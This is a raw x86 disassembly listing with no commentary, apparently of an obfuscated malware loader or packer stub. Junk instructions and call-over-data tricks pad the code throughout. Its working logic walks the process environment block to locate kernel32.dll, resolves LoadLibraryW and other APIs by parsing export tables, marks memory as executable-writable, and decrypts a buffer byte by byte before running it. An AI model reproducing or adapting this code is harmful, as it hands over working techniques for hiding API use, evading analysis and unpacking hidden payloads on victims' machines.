mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
or esi, 0xd3ab
call 0x5534e1
add byte [eax + 0x3b], cl
dec ebx
dec edx
cmp cl, byte [ebp + esi + 0x42]
push eax
inc ebp
add esp, 4
pop esi
push eax
add eax, 0xcf9
call 0x5534f8
add byte [0x493c3f4d], dh
dec eax
add esp, 4
pop eax
cmp dword [ebp - 0x150c], 0
jne 0x553514
mov dword [ebp - 0x2a8], 0
jmp 0x5537bb
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edi
push ecx
add esp, 4
jmp 0x553534
add edi, 0x9ce6
pop edi
push edx
jmp 0x553545
jmp 0x55354b
xor edx, 0xe473
or edx, 0xcc77
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x553570
mov dword [ebp - 0x2a8], 0
jmp 0x5537bb
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
push edi
add esp, 4
sub edx, 0x5c7d
sub edx, 0x7afd
pop edx
push esi
push edx
add esp, 4
and esi, 0x124d3
pop esi
push ebx
and ebx, 0xeb30
or ebx, 0x1412
and ebx, 0x960d
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
push eax
add esp, 4
call 0x5535eb
add byte [ebx], dh
dec esp
dec edi
dec ecx
xor ecx, dword [ebx + 0x33]
add esp, 4
pop edi
push esi
call 0x553600
add byte [ebx + 0x35], al
inc edi
inc ebp
dec edi
inc eax
cmp byte [esp + edi], bh
add esp, 4
or esi, 0x162ef
pop esi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ebx
push eax
add esp, 4
call 0x553672
add byte [ebx + 0x32], cl
cmp dword [eax + 0x35], eax
dec edi
add esp, 4
pop ebx
push edi
call 0x553684
add byte [ecx + eax*2], dh
inc ebp
push eax
inc esi
inc esi
xor al, 0x83
les eax, [ebx + ebp*8]
add edi, dword [edi]
cmp esi, dword [ebx]
and edi, 0x9c84
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x5536b0
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x55370a
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x5535d8
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x5535d8
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x5536f4
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x5536fe
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x553753
push eax
sub eax, 0x10bda
or eax, 0xeb3b
pop eax
push ebx
push ecx
add esp, 4
and ebx, 0x73e6
and ebx, 0x42fd
or ebx, 0x9af1
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0x36dc
pop ebx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x5537bb
push esi
xor esi, 0x17ba2
jmp 0x55375f
jmp 0x553767
jmp 0x55376c
pop esi
push esi
push edx
add esp, 4
and esi, 0x140f2
xor esi, 0x53f1
and esi, 0xdf7e
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x5537b1
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x55357c
mov dword [ebp - 0x2a8], 0
push edi
sub edi, 0xd4c4
pop edi
push edi
push esi
add esp, 4
call 0x5537d7
add byte [ebp + 0x48], al
dec ecx
cmp esi, dword [ecx + edi]
inc edi
dec edx
add esp, 4
call 0x5537e9
add byte [ebp + 0x48], al
inc edx
inc edx
inc ecx
cmp eax, 0x83404c45
les eax, [edi + ebx*2]
cmp dword [ebp - 0x2a8], 0
jne 0x5540f2
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edx
and edx, 0xb5e6
or edx, 0x7b40
pop edx
push ecx
push eax
add esp, 4
xor ecx, 0xf0f1
pop ecx
push ecx
push ebx
add esp, 4
and ecx, 0x9ad3
add ecx, 0x18350
or ecx, 0x4408
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
sub ecx, 0xfbc2
sub ecx, 0x669a
jmp 0x55395c
pop ecx
push edi
push esi
add esp, 4
call 0x553970
add byte [ecx], bh
inc ecx
xor bh, byte [ebx]
aas
dec esi
dec edx
aas
add esp, 4
add edi, 0xd818
pop edi
cmp dword [ebp - 0x1518], 0
jne 0x553992
mov dword [ebp - 0x710], 0
jmp 0x553c39
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
call 0x5539b4
add byte [0x3a3d3341], dh
inc edi
inc ecx
push eax
cmp eax, dword [ebx - 0x387efb3c]
std
test dword [eax], 0xae800
add byte [eax], al
add byte [eax + 0x3c], al
cmp eax, 0x50374b38
cmp dword [ecx - 0x7d], ecx
les eax, [ecx + eax*4]
invalid
push edi
or edi, 0x10108
jmp 0x553c45
sub edi, 0x1f95
pop edi
push edx
call 0x553c5a
add byte [esi], bh
inc edx
inc esp
inc esp
dec ebx
aaa
add esp, 4
sub edx, 0xce9
jmp 0x553c6a
pop edx
cmp dword [ebp - 0x710], 0
jne 0x553cb5
push ecx
and ecx, 0x1372f
sub ecx, 0xb36
call 0x553c8d
add byte [esi + 0x3f], al
inc edi
inc edx
xor eax, 0x4c4834a
pop ecx
push eax
jmp 0x553c97
add eax, 0x603c
pop eax
push edi
sub edi, 0x7724
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x5547dd
push ecx
xor ecx, 0xdc5b
or ecx, 0x5053
add ecx, 0xe0eb
pop ecx
push edx
push edx
add esp, 4
and edx, 0x862d
add edx, 0x12b14
and edx, 0x168ea
sub edx, 0x7c55
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x553d26
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x554017
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x553d4e
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x554017
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x553d80
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x554017
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x553da5
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x554017
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x553dff
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x55400b
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x553e6f
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x553f21
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x553f21
push esi
call 0x553eaa
add byte [edx], bh
xor eax, 0x35343c4a
aas
add esp, 4
call 0x553ebc
add byte [edx], bh
xor al, 0x39
dec esi
xor ecx, dword [eax + 0x41]
xor al, byte [esi - 0x7d]
les eax, [esi + ebx*2]
push ecx
sub ecx, 0x10380
and ecx, 0x1791
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x553f13
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x553f1a
jmp 0x553e60
jmp 0x553f21
push ebx
push eax
add esp, 4
xor ebx, 0xbb6f
sub ebx, 0x1c16
pop ebx
push eax
or eax, 0xf51a
sub eax, 0x13344
sub eax, 0xd5a2
pop eax
push eax
push eax
add esp, 4
sub eax, 0x5f24
pop eax
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x553f80
mov dword [ebp - 0xc5c], 0
jmp 0x553fef
push eax
push eax
add esp, 4
xor eax, 0x14da1
pop eax
push esi
push esi
add esp, 4
call 0x553fa1
add byte [ecx + 0x3e], cl
cmp al, byte [ecx + 0x36]
cmp bh, byte [eax]
dec ebx
inc eax
inc ecx
add esp, 4
xor esi, 0x165b0
jmp 0x553fb1
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x553fe5
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x553fef
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x554006
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x554017
jmp 0x553df0
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x5540f2
push edi
push ecx
add esp, 4
sub edi, 0x86ba
xor edi, 0x20fb
xor edi, 0x16073
pop edi
push ecx
add ecx, 0x179e4
sub ecx, 0xd473
sub ecx, 0x4cb
sub ecx, 0x1187
pop ecx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ecx
add ecx, 0x95fd
pop ecx
push edi
push eax
add esp, 4
or edi, 0xa2fd
xor edi, 0x1ff0
sub edi, 0xd831
xor edi, 0x3727
pop edi
push eax
push ebx
add esp, 4
xor eax, 0x6d8a
pop eax
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x5540f2
push eax
push ebx
add esp, 4
add eax, 0xeb7
jmp 0x5540c2
pop eax
push edi
push ecx
add esp, 4
sub edi, 0xbf8b
pop edi
push esi
xor esi, 0x269b
and esi, 0x2c96
xor esi, 0x15d15
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x5547dd
push ebx
add ebx, 0x14951
pop ebx
push edx
push eax
add esp, 4
xor edx, 0xc89a
sub edx, 0x725f
and edx, 0x103d6
pop edx
push esi
push ecx
add esp, 4
and esi, 0x8257
xor esi, 0x1859a
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push eax
push ecx
add esp, 4
sub eax, 0x10324
add eax, 0xf111
xor eax, 0x1cc4
pop eax
push edx
and edx, 0xc692
and edx, 0x16daf
add edx, 0xee81
add edx, 0x7ab4
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x554196
mov dword [ebp - 0x2a8], 0
jmp 0x55443d
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
push esi
add esp, 4
add edx, 0x42d3
call 0x5541c0
add byte [edi], dh
aaa
dec ebp
cmp byte [ebx], bh
xor eax, 0x8104c483
retf 0x7b83
push edi
call 0x55444b
add byte [edx + 0x35], cl
cmp byte [edx], bh
dec esi
inc ecx
dec eax
add esp, 4
or edi, 0xfc1c
pop edi
push eax
or eax, 0x5927
or eax, 0xeaab
or eax, 0x13739
add eax, 0x898c
pop eax
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edx
push edi
add esp, 4
and edx, 0x11987
or edx, 0x166e4
pop edx
push edx
sub edx, 0xcbee
call 0x5544a6
add byte [eax + 0x50], dl
push eax
inc edx
cmp eax, 0x434b4f40
add esp, 4
or edx, 0x30e5
pop edx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x5544e0
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x5547d1
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x554508
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x5547d1
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x55453a
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x5547d1
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x55455f
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x5547d1
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x5545b9
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x5547c5
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x554629
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x5546db
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x5546db
push ecx
push ecx
add esp, 4
jmp 0x554664
add ecx, 0x10351
pop ecx
push edi
push edx
add esp, 4
call 0x55467e
add byte [ebp + 0x44], cl
dec edi
inc ebx
dec ecx
aaa
cmp dh, byte [edi]
add esp, 4
jmp 0x554687
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x5546cd
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x5546d4
jmp 0x55461a
jmp 0x5546db
push edx
push edx
add esp, 4
call 0x5546ef
add byte [edx + 0x49], cl
dec edi
dec eax
inc edi
dec esp
cmp byte [ebx + edi], bh
add esp, 4
add edx, 0xc4b1
and edx, 0x20db
pop edx
push ecx
and ecx, 0xe5e2
or ecx, 0xdd46
pop ecx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x55473a
mov dword [ebp - 0xc6c], 0
jmp 0x5547a9
push edi
push edx
add esp, 4
xor edi, 0x53d1
or edi, 0x10d1c
pop edi
push ebx
sub ebx, 0x15e0b
or ebx, 0x53e8
pop ebx
push edi
push edi
add esp, 4
xor edi, 0x47ce
xor edi, 0x565b
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x55479f
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x5547a9
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x5547c0
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x5547d1
jmp 0x5545aa
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
and edx, 0xd4ec
jmp 0x5547ea
pop edx
push edi
and edi, 0xbd5a
pop edi
push ebx
jmp 0x5547fa
pop ebx
push ebx
or ebx, 0x84a
pop ebx
push edx
push esi
add esp, 4
sub edx, 0xfb77
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x554882
push esi
push edi
add esp, 4
jmp 0x554846
call 0x554856
add byte [edi], dh
inc edi
dec ecx
dec edi
push eax
inc eax
dec edi
aas
inc ecx
xor al, byte [ebx + 0x525e04c4]
and edx, 0x11b1a
pop edx
push edx
push esi
add esp, 4
sub edx, 0xefc
pop edx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x55489f
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x5548fb
push ecx
or ecx, 0x12df9
xor ecx, 0x1526a
pop ecx
push ecx
push esi
add esp, 4
sub ecx, 0xe7ff
call 0x5548d5
add byte [eax + 0x39], al
inc eax
xor bh, byte [0x42473835]
add esp, 4
or ecx, 0x10080
pop ecx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x554890
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x554973
push ecx
sub ecx, 0x10136
xor ecx, 0xee1b
add ecx, 0x122c1
pop ecx
push esi
push ecx
add esp, 4
sub esi, 0x10c30
xor esi, 0x172ca
pop esi
push ebx
push eax
add esp, 4
add ebx, 0x12469
pop ebx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ecx
push ebx
add esp, 4
or ecx, 0x17fb5
pop ecx
push esi
push ecx
add esp, 4
add esi, 0xdbda
pop esi
push ebx
add ebx, 0xed25
add byte [eax], al